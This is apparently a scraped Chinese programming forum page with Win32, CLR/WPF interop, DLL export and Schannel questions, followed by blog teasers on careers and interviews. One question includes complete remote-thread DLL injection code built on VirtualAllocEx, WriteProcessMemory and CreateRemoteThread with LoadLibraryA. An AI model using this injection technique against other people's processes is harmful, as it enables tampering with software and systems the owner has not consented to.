lpWndName) { HWND hWnd = CreateWindowEx(0,lpClassName,lpWndName, WS_OVERLAPPEDWINDOW,CW_USEDEFAULT, CW_USEDEFAULT,CW_USEDEFAULT,CW_USEDEFAULT, NULL,NULL,g_hInstance,NULL); return hWnd; } //显示窗口 void Display(HWND hWnd) { ShowWindow(hWnd,SW_SHOW); UpdateWindow(hWnd); } //消息循环 void Message() { MSG nMsg = {0}; while(GetMessage(&nMsg,NULL,0,0)) { TranslateMessage(&nMsg); DispatchMessage(&nMsg); } } int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) { g_hInstance = hInstance; if(!Register("Main",WndProc)) { MessageBox(NULL,"Register Fail","Infor",MB_OK); return 0; } HWND hWnd = CreateMain("Main","window"); Display(hWnd); Message(); return 0; }

请教纯win32 C++通过CLR动态库调用WPF方法

查找了C++调用WPF绘制界面的问题。都是直接使用CLR工程通过HwndSource调用WPF工程的。 有没有方法实现间接调用WPF的呢? 我们不想修改现有的C++工程的编译设置。 现在我们已经有一个纯C++的win32工程。我们想使用WPF来重绘窗口。为此我们创建了WPFUI.dll(C#工程) 和WPFWrap.dll(CLR工程)。 其中WPFWrap.dll中提供方法 extern “C”DLL_API HWND CreateMainView(HWND parent) { HwndSourceParamter ^hwndParam = gcnew HwndSourceParamters; hwndParam->WindowsStyle = WS_VISIBLE | WS_CHILD; hwndParam->ParamWindow = IntPtr(parent); .... HndSource ^source = gcnew HwndSource(*hwndParam); Grid ^grid = gcnew Grid; <---调用提示“调用线程必须为STA,因为许多UI组件都需要” IMamagerProvider ^mp = ManagerSingleton::Instance; MainView ^editorView = mp->MainView; grid->Children->add(editorView); source->RootVisual = grid; return (HWND)source->Handle.ToPointer(); } C++中按照通常的调用dll的方式调用以上方法。 HMODULE hDll = LoadLibrary("WPFWrap.dll"); if(hDLL) pfnCreateMainView = (CreateMainView) GetProcAddress(hDll, "CreateMainView"); pfnCreateMainView(this->hWnd); 刚接触CLR,C#, WPF不久。大家有没有这样的情况,或者建议。可以在不改变已有C++工程的情况下,完成上面的调用。 谢谢

C++累实现的DLL动态使用时GetProcAdress返回0

大家好,我使用C++类做成DLL,静态调用都成功了,但是动态调用时GetProcAdress一直返回0.DLL已经加载成功了。 DLL头文件: namespace MathFuns { class MyMathFun { public: //return a + b _declspec(dllexport) double Add(double a, double b); //return a - b _declspec(dllexport) double Subtract(double a, double b); //return a * b _declspec(dllexport) double Multiply(double a, double b); //return a / b _declspec(dllexport) double Divide(double a, double b); }; } Dll调用CPP int main() { double a = 10, b = 0; typedef double (*pAdd)(double a, double b); HINSTANCE hDll = NULL; hDll = LoadLibrary(L"MathFuncsDll.dll"); if(NULL == hDll) { cout << "hDll is null!" << endl; } pAdd Add = (pAdd)GetProcAddress(hDll, "Add"); if(NULL == Add) { // handle the error FreeLibrary(hDll); cout << "GetProcAddress Err! " << GetLastError() <<endl; Sleep(INFINITE); } cout << " a + b = "<< Add(a, b) << endl; Sleep(INFINITE); return 0; } 执行后会出现:GetProcAddress Err! 0 麻烦大家帮我看下,谢谢了!

在win7下面写了个dll注入工具,调试没有问题,就是注入不进去,求助

附上代码: void CsqdllDlg::OnBnClickedButton1()//注入 { // TODO: Add your control notification handler code here int pid; CString char_pid,dllname; m_UID.GetWindowText(char_pid); m_DllNames.GetWindowText(dllname); pid=atoi(char_pid); InjectDll((DWORD)pid, (LPSTR)(LPCTSTR)dllname); } void CsqdllDlg::OnBnClickedButton2()//卸载 { // TODO: Add your control notification handler code here int pid; CString char_pid,dllname; m_UID.GetWindowText(char_pid); m_DllNames.GetWindowText(dllname); pid=atoi(char_pid); UnInjectDll((DWORD)pid, (LPSTR)(LPCTSTR)dllname); } void CsqdllDlg::InjectDll(DWORD dwPid, char * szDllName)//注入 { if (dwPid==0||strlen(szDllName)==0) { return ; } char *pFunName="LoadLibraryA";//载入dll HANDLE hProcess=OpenProcess(PROCESS_ALL_ACCESS,FALSE,dwPid);//开启进程,获取全部权限 if (hProcess==NULL) { return ; } int nDllLen=strlen(szDllName)+sizeof(char); PVOID pDllAddr=VirtualAllocEx(hProcess,NULL,nDllLen,MEM_COMMIT,PAGE_READWRITE);//申请内存(虚拟的),为特定的页面区域分配内存中或磁盘的页面文件中的物理存储,区域包含可被系统执行的代码。试图读写该区域的操作将被拒绝 if (pDllAddr==NULL) { CloseHandle(hProcess); return ; } DWORD dwWriteNum=0; WriteProcessMemory(hProcess,pDllAddr,szDllName,nDllLen,&dwWriteNum);//写入dll地址 FARPROC pFunAddr=GetProcAddress(GetModuleHandle("kernel32.dll"),pFunName);//获取载入函数地址 HANDLE hThread=CreateRemoteThread(hProcess,NULL,0,(LPTHREAD_START_ROUTINE)pFunAddr,pDllAddr,0,NULL);//远程线程 WaitForSingleObject(hThread,INFINITE);//检测信号状态 CloseHandle(hThread); CloseHandle(hProcess); } void CsqdllDlg::UnInjectDll(DWORD dwPid, char * szDllName)//卸载 { HANDLE hSnap=CreateToolhelp32Snapshot(TH32CS_SNAPMODULE,dwPid);//获取系统快照 MODULEENTRY32 Me32={0}; Me32.dwSize=sizeof(MODULEENTRY32); BOOL bRet=Module32First(hSnap,&Me32);//遍历进程,获取进程信息 while(bRet) { if (strcmp(Me32.szExePath,szDllName)==0) { break; } bRet=Module32Next(hSnap,&Me32);// } CloseHandle(hSnap); char *pFunName="FreeLibrary";//卸载dll HANDLE hProcess=OpenProcess(PROCESS_ALL_ACCESS,FALSE,dwPid); FARPROC pFunAddr =GetProcAddress(GetModuleHandle("kernel32.dll"),pFunName); HANDLE hThread=CreateRemoteThread(hProcess,NULL,0,(LPTHREAD_START_ROUTINE)pFunAddr,Me32.hModule,0,NULL); WaitForSingleObject(hThread,INFINITE); CloseHandle(hThread); CloseHandle(hProcess); }

关于windows平台下的server端AcquireCredentialsHandle调用失败问题

securityFuns.AcquireCredentialsHandle执行后,返回1312错误码。如下代码: ```` #include <schannel.h> #define SECURITY_WIN32 #include <security.h> #pragma comment(lib,"crypt32.lib") int _tmain(int argc, _TCHAR* argv[]) { HMODULE modSchannel = ::LoadLibrary("SCHANNEL.DLL"); #ifdef UNICODE INIT_SECURITY_INTERFACE pfInitSecurityInterface = (INIT_SECURITY_INTERFACE)GetProcAddress(modSchannel, "InitSecurityInterfaceW" ); #else INIT_SECURITY_INTERFACE pfInitSecurityInterface = (INIT_SECURITY_INTERFACE)GetProcAddress(modSchannel, "InitSecurityInterfaceA" ); #endif PSecurityFunctionTable pSecurityFuns = pfInitSecurityInterface? pfInitSecurityInterface():NULL; SecurityFunctionTable securityFuns; ::memcpy(&securityFuns, pSecurityFuns, sizeof(securityFuns)); HCERTSTORE hMyCertStore = CertOpenSystemStore(0,_T("ROOT")); PCCERT_CONTEXT pCertContext = CertFindCertificateInStore(hMyCertStore, PKCS_7_ASN_ENCODING | X509_ASN_ENCODING, 0, CERT_FIND_SUBJECT_STR_A, L"ssltester", NULL); SCHANNEL_CRED schannelCred; memset(&schannelCred, 0, sizeof(schannelCred)); schannelCred.cCreds = 1; schannelCred.paCred = &pCertContext; // schannelCred.hRootStore = hMyCertStore; schannelCred.dwFlags = SCH_CRED_NO_SYSTEM_MAPPER|SCH_CRED_REVOCATION_CHECK_CHAIN; schannelCred.dwVersion = SCHANNEL_CRED_VERSION; schannelCred.grbitEnabledProtocols = SP_PROT_SSL3TLS1_SERVERS; TimeStamp lifetime; //证书生存时间 CredHandle hCreds; SECURITY_STATUS sec_ret = securityFuns.AcquireCredentialsHandle( NULL, UNISP_NAME, SECPKG_CRED_INBOUND, NULL, &schannelCred, NULL, NULL, &hCreds, &lifetime ); unsigned long lErrorCode; if( sec_ret != SEC_E_OK ) { lErrorCode = ::GetLastError(); //返回1312错误码 } else { lErrorCode = 0; } return 0; } ````

大学四年自学走来,这些私藏的实用工具/学习网站我贡献出来了

大学四年,看课本是不可能一直看课本的了,对于学习,特别是自学,善于搜索网上的一些资源来辅助,还是非常有必要的,下面我就把这几年私藏的各种资源,网站贡献出来给你们。主要有:电子书搜索、实用工具、在线视频学习网站、非视频学习网站、软件下载、面试/求职必备网站。 注意:文中提到的所有资源,文末我都给你整理好了,你们只管拿去,如果觉得不错,转发、分享就是最大的支持了。 一、电子书搜索 对于大部分程序员...

在中国程序员是青春饭吗?

今年,我也32了 ,为了不给大家误导,咨询了猎头、圈内好友,以及年过35岁的几位老程序员……舍了老脸去揭人家伤疤……希望能给大家以帮助,记得帮我点赞哦。 目录: 你以为的人生 一次又一次的伤害 猎头界的真相 如何应对互联网行业的「中年危机」 一、你以为的人生 刚入行时,拿着傲人的工资,想着好好干,以为我们的人生是这样的: 等真到了那一天,你会发现,你的人生很可能是这样的: ...

Java基础知识面试题(2020最新版)

文章目录Java概述何为编程什么是Javajdk1.5之后的三大版本JVM、JRE和JDK的关系什么是跨平台性?原理是什么Java语言有哪些特点什么是字节码?采用字节码的最大好处是什么什么是Java程序的主类?应用程序和小程序的主类有何不同?Java应用程序与小程序之间有那些差别?Java和C++的区别Oracle JDK 和 OpenJDK 的对比基础语法数据类型Java有哪些数据类型switc...

我以为我学懂了数据结构,直到看了这个导图才发现,我错了

数据结构与算法思维导图

技术大佬:我去,你写的 switch 语句也太老土了吧

昨天早上通过远程的方式 review 了两名新来同事的代码,大部分代码都写得很漂亮,严谨的同时注释也很到位,这令我非常满意。但当我看到他们当中有一个人写的 switch 语句时,还是忍不住破口大骂:“我擦,小王,你丫写的 switch 语句也太老土了吧!” 来看看小王写的代码吧,看完不要骂我装逼啊。 private static String createPlayer(PlayerTypes p...

和黑客斗争的 6 天!

互联网公司工作,很难避免不和黑客们打交道,我呆过的两家互联网公司,几乎每月每天每分钟都有黑客在公司网站上扫描。有的是寻找 Sql 注入的缺口,有的是寻找线上服务器可能存在的漏洞,大部分都...

Linux 会成为主流桌面操作系统吗?

整理 |屠敏出品 | CSDN(ID:CSDNnews)2020 年 1 月 14 日,微软正式停止了 Windows 7 系统的扩展支持,这意味着服役十年的 Windows 7,属于...

讲一个程序员如何副业月赚三万的真实故事

loonggg读完需要3分钟速读仅需 1 分钟大家好,我是你们的校长。我之前讲过,这年头,只要肯动脑,肯行动,程序员凭借自己的技术,赚钱的方式还是有很多种的。仅仅靠在公司出卖自己的劳动时...

学习总结之HTML5剑指前端(建议收藏,图文并茂)

前言学习《HTML5与CSS3权威指南》这本书很不错,学完之后我颇有感触,觉得web的世界开明了许多。这本书是需要有一定基础的web前端开发工程师。这本书主要学习HTML5和css3,看...

女程序员,为什么比男程序员少???

昨天看到一档综艺节目,讨论了两个话题:(1)中国学生的数学成绩,平均下来看,会比国外好?为什么?(2)男生的数学成绩,平均下来看,会比女生好?为什么?同时,我又联想到了一个技术圈经常讨...

搜狗输入法也在挑战国人的智商!

故事总是一个接着一个到来...上周写完《鲁大师已经彻底沦为一款垃圾流氓软件!》这篇文章之后,鲁大师的市场工作人员就找到了我,希望把这篇文章删除掉。经过一番沟通我先把这篇文章从公号中删除了...

副业收入是我做程序媛的3倍,工作外的B面人生是怎样的?

提到“程序员”,多数人脑海里首先想到的大约是:为人木讷、薪水超高、工作枯燥…… 然而,当离开工作岗位,撕去层层标签,脱下“程序员”这身外套,有的人生动又有趣,马上展现出了完全不同的A/B面人生! 不论是简单的爱好,还是正经的副业,他们都干得同样出色。偶尔,还能和程序员的特质结合,产生奇妙的“化学反应”。 @Charlotte:平日素颜示人,周末美妆博主 大家都以为程序媛也个个不修边幅,但我们也许...

MySQL数据库面试题(2020最新版)

文章目录数据库基础知识为什么要使用数据库什么是SQL?什么是MySQL?数据库三大范式是什么mysql有关权限的表都有哪几个MySQL的binlog有有几种录入格式?分别有什么区别?数据类型mysql有哪些数据类型引擎MySQL存储引擎MyISAM与InnoDB区别MyISAM索引与InnoDB索引的区别?InnoDB引擎的4大特性存储引擎选择索引什么是索引?索引有哪些优缺点?索引使用场景(重点)...

新一代神器STM32CubeMonitor介绍、下载、安装和使用教程

关注、星标公众号,不错过精彩内容作者:黄工公众号:strongerHuang最近ST官网悄悄新上线了一款比较强大的工具:STM32CubeMonitor V1.0.0。经过我研究和使用之...

记一次腾讯面试,我挂在了最熟悉不过的队列上……

腾讯后台面试,面试官问:如何自己实现队列?

如果你是老板,你会不会踢了这样的员工?

有个好朋友ZS,是技术总监,昨天问我:“有一个老下属,跟了我很多年,做事勤勤恳恳,主动性也很好。但随着公司的发展,他的进步速度,跟不上团队的步伐了,有点...

我入职阿里后,才知道原来简历这么写

私下里,有不少读者问我:“二哥,如何才能写出一份专业的技术简历呢?我总感觉自己写的简历太烂了,所以投了无数份,都石沉大海了。”说实话,我自己好多年没有写过简历了,但我认识的一个同行,他在阿里,给我说了一些他当年写简历的方法论,我感觉太牛逼了,实在是忍不住,就分享了出来,希望能够帮助到你。 01、简历的本质 作为简历的撰写者,你必须要搞清楚一点,简历的本质是什么,它就是为了来销售你的价值主张的。往深...

冒泡排序动画(基于python pygame实现)

本项目效果初始截图如下 动画见本人b站投稿:https://www.bilibili.com/video/av95491382 本项目对应github地址:https://github.com/BigShuang python版本:3.6,pygame版本:1.9.3。(python版本一致应该就没什么问题) 样例gif如下 ======================= 大爽歌作,mad

Redis核心原理与应用实践

Redis核心原理与应用实践 在很多场景下都会使用Redis,但是到了深层次的时候就了解的不是那么深刻,以至于在面试的时候经常会遇到卡壳的现象,学习知识要做到系统和深入,不要把Redis想象的过于复杂,和Mysql一样,是个读取数据的软件。 有一个理解是Redis是key value缓存服务器,更多的优点在于对value的操作更加丰富。 安装 yum install redis #yum安装 b...

现代的 “Hello, World”,可不仅仅是几行代码而已

作者 |Charles R. Martin译者 | 弯月,责编 | 夕颜头图 |付费下载自视觉中国出品 | CSDN(ID:CSDNnews)新手...

带了6个月的徒弟当了面试官,而身为高级工程师的我天天修Bug......

即将毕业的应届毕业生一枚,现在只拿到了两家offer,但最近听到一些消息,其中一个offer,我这个组据说客户很少,很有可能整组被裁掉。 想问大家: 如果我刚入职这个组就被裁了怎么办呢? 大家都是什么时候知道自己要被裁了的? 面试软技能指导: BQ/Project/Resume 试听内容: 除了刷题,还有哪些技能是拿到offer不可或缺的要素 如何提升面试软实力:简历, 行为面试,沟通能...

!大部分程序员只会写3年代码

如果世界上都是这种不思进取的软件公司,那别说大部分程序员只会写 3 年代码,恐怕就没有程序员这种职业。

离职半年了,老东家又发 offer,回不回?

有小伙伴问松哥这个问题,他在上海某公司,在离职了几个月后,前公司的领导联系到他,希望他能够返聘回去,他很纠结要不要回去? 俗话说好马不吃回头草,但是这个小伙伴既然感到纠结了,我觉得至少说明了两个问题:1.曾经的公司还不错;2.现在的日子也不是很如意。否则应该就不会纠结了。 老实说,松哥之前也有过类似的经历,今天就来和小伙伴们聊聊回头草到底吃不吃。 首先一个基本观点,就是离职了也没必要和老东家弄的苦...

2020阿里全球数学大赛:3万名高手、4道题、2天2夜未交卷

阿里巴巴全球数学竞赛( Alibaba Global Mathematics Competition)由马云发起,由中国科学技术协会、阿里巴巴基金会、阿里巴巴达摩院共同举办。大赛不设报名门槛,全世界爱好数学的人都可参与,不论是否出身数学专业、是否投身数学研究。 2020年阿里巴巴达摩院邀请北京大学、剑桥大学、浙江大学等高校的顶尖数学教师组建了出题组。中科院院士、美国艺术与科学院院士、北京国际数学...

为什么你不想学习?只想玩?人是如何一步一步废掉的

不知道是不是只有我这样子,还是你们也有过类似的经历。 上学的时候总有很多光辉历史,学年名列前茅,或者单科目大佬,但是虽然慢慢地长大了,你开始懈怠了,开始废掉了。。。 什么?你说不知道具体的情况是怎么样的? 我来告诉你: 你常常潜意识里或者心理觉得,自己真正的生活或者奋斗还没有开始。总是幻想着自己还拥有大把时间,还有无限的可能,自己还能逆风翻盘,只不是自己还没开始罢了,自己以后肯定会变得特别厉害...

HTTP与HTTPS的区别

面试官问HTTP与HTTPS的区别,我这样回答让他竖起大拇指!

程序员毕业去大公司好还是小公司好?

虽然大公司并不是人人都能进,但我仍建议还未毕业的同学,尽力地通过校招向大公司挤,但凡挤进去,你这一生会容易很多。 大公司哪里好?没能进大公司怎么办?答案都在这里了,记得帮我点赞哦。 目录: 技术氛围 内部晋升与跳槽 啥也没学会,公司倒闭了? 不同的人脉圈,注定会有不同的结果 没能去大厂怎么办? 一、技术氛围 纵观整个程序员技术领域,哪个在行业有所名气的大牛,不是在大厂? 而且众所...

男生更看重女生的身材脸蛋,还是思想?

往往,我们看不进去大段大段的逻辑。深刻的哲理,往往短而精悍,一阵见血。问:产品经理挺漂亮的,有点心动,但不知道合不合得来。男生更看重女生的身材脸蛋,还是...

程序员为什么千万不要瞎努力?

本文作者用对比非常鲜明的两个开发团队的故事,讲解了敏捷开发之道 —— 如果你的团队缺乏统一标准的环境,那么即使勤劳努力,不仅会极其耗时而且成果甚微,使用...

为什么程序员做外包会被瞧不起?

二哥,有个事想询问下您的意见,您觉得应届生值得去外包吗?公司虽然挺大的,中xx,但待遇感觉挺低,马上要报到,挺纠结的。

立即提问
相关内容推荐